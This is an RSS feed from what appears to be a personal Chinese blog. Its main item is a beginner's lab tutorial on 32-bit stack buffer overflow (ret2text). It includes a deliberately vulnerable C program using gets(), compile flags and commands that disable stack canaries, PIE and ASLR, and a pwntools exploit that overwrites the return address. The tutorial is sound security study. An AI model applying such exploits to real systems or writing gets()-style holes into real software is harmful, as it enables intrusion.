<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
>
<channel>
<title><![CDATA[菌阁]]></title> 
<atom:link href="https://www.bacteriajun.cn/rss.php" rel="self" type="application/rss+xml" />
<description><![CDATA[菌阁兮蕙楼，观道兮从横。宝金兮委积，美玉兮盈堂。]]></description>
<link>https://www.bacteriajun.cn/</link>
<language>zh-cn</language>

<item>
    <title>演示文章</title>
    <link>https://www.bacteriajun.cn/1.html</link>
    <description><![CDATA[<p>这是一篇演示文章</p>]]></description>
    <pubDate>Mon, 26 Oct 2026 20:51:00 +0800</pubDate>
    <dc:creator>blogger</dc:creator>
    <guid>https://www.bacteriajun.cn/1.html</guid>
</item>
<item>
    <title>栈溢出</title>
    <link>https://www.bacteriajun.cn/zhanyichu.html</link>
    <description><![CDATA[<h1>栈溢出</h1>
<p>阅读和复现之前，最好先有一点 Linux 基础。</p>
<p>[前置知识之Linux操作系统]</p>
<p>最近在继续看 PWN，先把最基础的栈溢出弄清楚。</p>
<p>栈溢出简单来说，就是程序往栈里的一个变量写数据的时候，写进去的东西超过了这个变量原本的大小，于是后面的数据也被一起覆盖了。</p>
<p>比如：</p>
<pre><code class="language-c">char s[12];</code></pre>
<p>这里只给了 <code>s</code> 12 个字节。如果后面用了一个不限制输入长度的函数，那么输入超过12个字节以后，并不会自动停下来，而是还会继续往后写。</p>
<p>栈上后面不一定是没用的东西，还可能有：</p>
<pre><code class="language-text">saved ebp
return address</code></pre>
<p>所以栈溢出真正有意思的地方不是把程序弄崩，而是：</p>
<p>如果连返回地址都能覆盖，那是不是可以让程序返回到我指定的地方？</p>
<hr />
<h1>先写一个最简单的程序</h1>
<pre><code class="language-c">#include &lt;stdio.h&gt;
#include &lt;string.h&gt;

void success(void)
{
    puts("You Hava already controlled it.");
}

void vulnerable(void)
{
    char s[12];

    gets(s);
    puts(s);

    return;
}

int main(int argc, char **argv)
{
    vulnerable();
    return 0;
}</code></pre>
<p>这个程序很简单。</p>
<p><code>main()</code> 调用：</p>
<pre><code class="language-c">vulnerable();</code></pre>
<p>然后里面定义：</p>
<pre><code class="language-c">char s[12];</code></pre>
<p>再用：</p>
<pre><code class="language-c">gets(s);</code></pre>
<p>接收输入。</p>
<p>问题就在 <code>gets()</code>。</p>
<p><code>gets()</code> 不知道 <code>s</code> 到底有多大，它会一直读，直到遇到换行。所以虽然这里只定义了12字节，但是输入长一点，它还是会继续往后写。</p>
<p>编译：</p>
<pre><code class="language-bash">gcc -m32 -fno-stack-protector -no-pie overflow.c -o stack_example -std=gnu99</code></pre>
<p>这里先编译成32位，而且把几个保护关掉，方便看最基本的东西。</p>
<pre><code class="language-text">-m32</code></pre>
<p>32位。</p>
<pre><code class="language-text">-fno-stack-protector</code></pre>
<p>关掉 Stack Canary。</p>
<pre><code class="language-text">-no-pie</code></pre>
<p>关掉 PIE，这样程序本身的地址不会每次都变。</p>
<p>编译的时候还会提示：</p>
<pre><code class="language-text">warning: the `gets' function is dangerous and should not be used.</code></pre>
<p>确实很危险。</p>
<p>可以先：</p>
<pre><code class="language-bash">checksec --file=./stack_example</code></pre>
<p>看看保护。</p>
<p>主要注意：</p>
<pre><code class="language-text">Canary
NX
PIE
RELRO</code></pre>
<p>这里为了方便，至少要：</p>
<pre><code class="language-text">Canary: No canary found
PIE:    No PIE</code></pre>
<hr />
<h1>ASLR</h1>
<p>Linux 还有一个 ASLR：</p>
<pre><code class="language-text">Address Space Layout Randomization</code></pre>
<p>地址空间随机化。</p>
<p>查看：</p>
<pre><code class="language-bash">cat /proc/sys/kernel/randomize_va_space</code></pre>
<p>可能看到：</p>
<pre><code class="language-text">0
1
2</code></pre>
<p><code>0</code> 是关闭。</p>
<p>做这个实验的时候可以临时关掉：</p>
<pre><code class="language-bash">echo 0 | sudo tee /proc/sys/kernel/randomize_va_space</code></pre>
<p>做完再恢复：</p>
<pre><code class="language-bash">echo 2 | sudo tee /proc/sys/kernel/randomize_va_space</code></pre>
<p>现在只是为了把原理看清楚，先不管真实程序里面各种保护。</p>
<hr />
<h1>看栈</h1>
<p>把程序丢进 IDA。</p>
<p>进入 <code>vulnerable()</code>，可以看到类似：</p>
<pre><code class="language-text">s = byte ptr -14h</code></pre>
<p>也就是：</p>
<pre><code class="language-text">s = ebp - 0x14</code></pre>
<p>所以 <code>s</code> 到 <code>ebp</code> 中间有：</p>
<pre><code class="language-text">0x14 = 20 bytes</code></pre>
<p>大概可以画成：</p>
<pre><code class="language-text">                    +-----------------+
                    | return address  |
                    +-----------------+
                    |    saved ebp    |
             ebp---&gt;+-----------------+
                    |                 |
                    |   local data    |
                    |                 |
       s,ebp-0x14--&gt;+-----------------+</code></pre>
<p>这里就比较关键了。</p>
<p>函数被调用的时候，会把返回地址保存在栈上。函数运行完执行 <code>ret</code>，CPU 就从栈里拿出这个地址，然后回去继续执行。</p>
<p>正常大概是：</p>
<pre><code class="language-text">call
 ↓
保存 return address
 ↓
执行 vulnerable
 ↓
ret
 ↓
回到 main</code></pre>
<p>但 <code>gets()</code> 如果一直往后写，就会：</p>
<pre><code class="language-text">s
↓
继续写
↓
saved ebp
↓
return address</code></pre>
<p>所以如果 return address 被我覆盖了，<code>ret</code> 的时候拿到的就是我写进去的地址。</p>
<hr />
<h1>跳到success</h1>
<p>程序里面还有一个函数：</p>
<pre><code class="language-c">void success(void)
{
    puts("You Hava already controlled it.");
}</code></pre>
<p>正常情况下不会执行它。</p>
<p>那就试一下把 <code>vulnerable()</code> 的返回地址直接改成 <code>success()</code>。</p>
<p>可以在 IDA 里面看，也可以：</p>
<pre><code class="language-bash">objdump -d ./stack_example</code></pre>
<p>找 <code>success</code>。</p>
<p>假设地址是：</p>
<pre><code class="language-text">0x08049176</code></pre>
<p>那么目标就是：</p>
<pre><code class="language-text">vulnerable()
    ↓
ret
    ↓
0x08049176
    ↓
success()</code></pre>
<p>前面已经看到：</p>
<pre><code class="language-text">s 到 ebp = 0x14</code></pre>
<p>也就是20字节。</p>
<p>32位程序的 saved ebp 是4字节。</p>
<p>所以：</p>
<pre><code class="language-text">20 bytes
+
4 bytes
=
24 bytes</code></pre>
<p>之后就是 return address。</p>
<p>payload 就可以想成：</p>
<pre><code class="language-text">20字节填充
+
4字节覆盖 saved ebp
+
success 地址</code></pre>
<p>比如：</p>
<pre><code class="language-text">aaaaaaaaaaaaaaaaaaaa
bbbb
success_addr</code></pre>
<p>写进去以后大概变成：</p>
<pre><code class="language-text">                    +-----------------+
                    |   0x08049176    |
                    +-----------------+
                    |      bbbb       |
             ebp---&gt;+-----------------+
                    |                 |
                    |   overwritten   |
                    |                 |
       s,ebp-0x14--&gt;+-----------------+</code></pre>
<p>然后 <code>vulnerable()</code> 执行 <code>ret</code>。</p>
<p>这时候栈里原来的返回地址已经没了，取出来的是：</p>
<pre><code class="language-text">0x08049176</code></pre>
<p>于是直接跳到 <code>success()</code>。</p>
<hr />
<h1>小端序</h1>
<p>这里还卡了一个小端序。</p>
<p>x86 是：</p>
<pre><code class="language-text">Little Endian</code></pre>
<p>比如地址：</p>
<pre><code class="language-text">0x08049176</code></pre>
<p>真正按字节写进去是：</p>
<pre><code class="language-text">\x76\x91\x04\x08</code></pre>
<p>低位放前面。</p>
<p>所以不能直接输入：</p>
<pre><code class="language-text">0x08049176</code></pre>
<p>这个字符串。</p>
<p>pwntools 里面可以直接：</p>
<pre><code class="language-python">p32(success_addr)</code></pre>
<p>它会帮忙转成32位小端序。</p>
<p>所以 EXP 可以写：</p>
<pre><code class="language-python"># coding=utf8

from pwn import *

sh = process('./stack_example')

success_addr = 0x08049176

payload = b'a' * 0x14
payload += b'bbbb'
payload += p32(success_addr)

print(p32(success_addr))

sh.sendline(payload)
sh.interactive()</code></pre>
<p>整个 payload 就是：</p>
<pre><code class="language-text">20 bytes padding
+
4 bytes saved ebp
+
4 bytes return address</code></pre>
<p>如果地址和偏移都没错，最后应该可以看到：</p>
<pre><code class="language-text">You Hava already controlled it.</code></pre>
<p>也就是原来程序根本不会主动调用的：</p>
<pre><code class="language-text">success()</code></pre>
<p>现在被执行了。</p>
<p>这个时候已经不是单纯把程序弄崩，而是真的把执行流程改掉了。</p>
<hr />
<h1>cyclic找偏移</h1>
<p>前面是直接看 IDA 算出来的：</p>
<pre><code class="language-text">0x14 + 4</code></pre>
<p>其实也可以用 <code>cyclic</code>。</p>
<p>先：</p>
<pre><code class="language-bash">cyclic 100</code></pre>
<p>生成一串特殊的数据，然后输入程序让它崩溃。</p>
<p>假如 GDB 里面看到：</p>
<pre><code class="language-text">EIP = 0x61616167</code></pre>
<p>再：</p>
<pre><code class="language-bash">cyclic -l 0x61616167</code></pre>
<p>就可以知道这个值在刚才那串数据的第几个位置。</p>
<p>流程就是：</p>
<pre><code class="language-text">cyclic
 ↓
输入程序
 ↓
程序崩溃
 ↓
看 EIP
 ↓
cyclic -l
 ↓
得到 offset</code></pre>
<p>所以 offset 其实就是：</p>
<pre><code class="language-text">输入缓冲区开始
↓
return address</code></pre>
<p>中间一共有多少字节。</p>
<p>这个比自己一个一个算方便，不过最好还是先把为什么会有这个 offset 搞懂。</p>
<hr />
<h1>控制EIP</h1>
<p>做到这里以后，我觉得栈溢出最关键的东西已经比较清楚了。</p>
<p>正常情况：</p>
<pre><code class="language-text">call
 ↓
保存 return address
 ↓
函数运行
 ↓
ret
 ↓
回到原来的位置</code></pre>
<p>栈溢出以后：</p>
<pre><code class="language-text">call
 ↓
保存 return address
 ↓
gets继续往后写
 ↓
覆盖 return address
 ↓
ret
 ↓
跳到新的地址</code></pre>
<p>所以真正想控制的是：</p>
<pre><code class="language-text">EIP</code></pre>
<p>32位程序里面，EIP 指向 CPU 接下来要执行的指令。</p>
<p>如果能够稳定把 return address 改成自己想要的地址，那么函数 <code>ret</code> 以后，EIP 就会变成那个地址。</p>
<p>这次只是把它改成程序里面已经存在的：</p>
<pre><code class="language-text">success()</code></pre>
<p>所以这个应该算最简单的：</p>
<pre><code class="language-text">ret2text</code></pre>
<hr />
<h1>再往后</h1>
<p>把整个过程缩一下其实就是：</p>
<pre><code class="language-text">gets输入没有长度限制
        ↓
发生栈溢出
        ↓
覆盖 saved ebp
        ↓
覆盖 return address
        ↓
ret
        ↓
EIP变成新的地址</code></pre>
<p>这次的目标地址只有一个：</p>
<pre><code class="language-text">success()</code></pre>
<p>所以很简单。</p>
<p>但如果已经能够控制 return address，那么后面应该就可以继续研究：</p>
<pre><code class="language-text">ret2text
ret2shellcode
ret2libc
ROP</code></pre>
<p>真实程序还会有：</p>
<pre><code class="language-text">NX
Canary
PIE
ASLR
RELRO</code></pre>
<p>这些东西不会让栈溢出凭空消失，但是会让“溢出以后到底怎么利用”变麻烦。</p>
<p>现在先把最基本的这一步弄懂：</p>
<pre><code class="language-text">找到溢出
↓
确定 offset
↓
覆盖 return address
↓
控制 EIP</code></pre>
<p>ROP 应该也是从这里继续往下走，只不过不再只跳一次，而是想办法利用程序里面已经存在的代码片段，把它们接起来执行。</p>
<p>先到这里。</p>
<p>{% [type=divider] [color1=#6c6cee] [color2=#f69] %}</p>
<p><code>2026年9月 补充</code></p>
<p>重新翻了这篇初三时写下来的栈溢出笔记。和更早那篇《PWN环境配置》不太一样，到这个时候已经不是单纯从百度复制工具和命令了，很多内容确实是自己一边调试、一边看 IDA 和 GDB，再慢慢弄清楚的。</p>
<p>原文里最重要的东西其实很简单：<code>gets()</code> 为什么能够越过缓冲区继续写，return address 为什么会被覆盖，<code>ret</code> 为什么会因此跳到另一个地址。现在回头看当然只是非常基础的 ret2text，但在当时，把“程序崩了”和“我可以让它往另一个地方执行”真正联系起来，才算第一次把栈溢出这件事情看明白。</p>]]></description>
    <pubDate>Tue, 05 Mar 2019 21:02:38 +0800</pubDate>
    <dc:creator>blogger</dc:creator>
    <guid>https://www.bacteriajun.cn/zhanyichu.html</guid>
</item>
</channel>
</rss>